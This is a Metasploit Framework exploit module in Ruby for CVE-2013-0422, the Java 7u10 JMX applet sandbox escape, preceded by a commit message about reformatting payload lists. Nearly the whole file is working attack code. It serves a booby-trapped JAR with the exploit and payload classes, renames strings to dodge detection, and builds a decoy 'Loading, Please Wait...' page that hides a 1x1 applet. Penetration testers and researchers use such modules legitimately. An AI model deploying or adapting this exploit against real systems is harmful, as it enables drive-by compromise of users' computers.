Tod Beardsley
c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
134 lines
4.4 KiB
Ruby
134 lines
4.4 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({ :javascript => false })
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def initialize( info = {} )
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super( update_info( info,
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'Name' => 'Java Applet JMX Remote Code Execution',
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'Description' => %q{
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This module abuses the JMX classes from a Java Applet to run arbitrary Java
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code outside of the sandbox as exploited in the wild in January of 2013. The
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vulnerability affects Java version 7u10 and earlier.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Vulnerability discovery
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'egypt', # Metasploit module
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'sinn3r', # Metasploit module
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2013-0422' ],
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[ 'OSVDB', '89059' ],
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[ 'US-CERT-VU', '625617' ],
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[ 'URL', 'http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html' ],
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[ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/' ],
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[ 'URL', 'http://pastebin.com/cUG2ayjh' ] #Who authored the code on pastebin? I can't read Russian :-(
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],
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'Platform' => %w{ java linux osx win },
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'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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'Targets' =>
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[
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[ 'Generic (Java Payload)',
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{
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'Platform' => ['java'],
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'Arch' => ARCH_JAVA,
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}
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],
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[ 'Windows x86 (Native Payload)',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Mac OS X x86 (Native Payload)',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Linux x86 (Native Payload)',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 10 2013'
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))
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end
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def setup
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path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0422", "Exploit.class")
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@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0422", "B.class")
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@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
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@exploit_class_name = rand_text_alpha("Exploit".length)
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@exploit_class.gsub!("Exploit", @exploit_class_name)
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super
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end
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def on_request_uri(cli, request)
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print_status("handling request for #{request.uri}")
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case request.uri
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when /\.jar$/i
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jar = payload.encoded_jar
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jar.add_file("#{@exploit_class_name}.class", @exploit_class)
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jar.add_file("B.class", @loader_class)
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metasploit_str = rand_text_alpha("metasploit".length)
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payload_str = rand_text_alpha("payload".length)
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jar.entries.each { |entry|
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entry.name.gsub!("metasploit", metasploit_str)
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entry.name.gsub!("Payload", payload_str)
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entry.data = entry.data.gsub("metasploit", metasploit_str)
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entry.data = entry.data.gsub("Payload", payload_str)
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}
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jar.build_manifest
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send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
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when /\/$/
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payload = regenerate_payload(cli)
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if not payload
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print_error("Failed to generate the payload.")
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send_not_found(cli)
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return
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end
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send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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else
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send_redirect(cli, get_resource() + '/', '')
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end
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end
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def generate_html
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html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
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html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
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html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
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html += %Q|</applet></body></html>|
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return html
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end
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end
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